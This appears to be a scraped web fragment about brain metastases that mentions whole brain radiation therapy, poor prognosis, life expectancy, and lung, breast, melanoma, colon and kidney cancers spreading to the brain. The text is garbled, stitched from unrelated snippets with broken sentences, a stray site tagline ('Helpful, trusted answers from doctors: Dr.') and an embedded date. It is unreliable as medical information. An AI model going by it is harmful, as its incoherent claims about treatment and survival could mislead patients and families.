issues. The most commonly used treatment for brain metastasis is whole brain radiation therapy, Helpful, trusted answers from doctors: Dr. patients with poor prognosis, since such patients have life expectancy short Nov 24, 2017 Overview of brain metastases, or tumors that have spread to the brain, Life expectancy in these patients has also been shown to increase. Lung, breast, melanoma, colon and kidney cancers commonly spread to the brain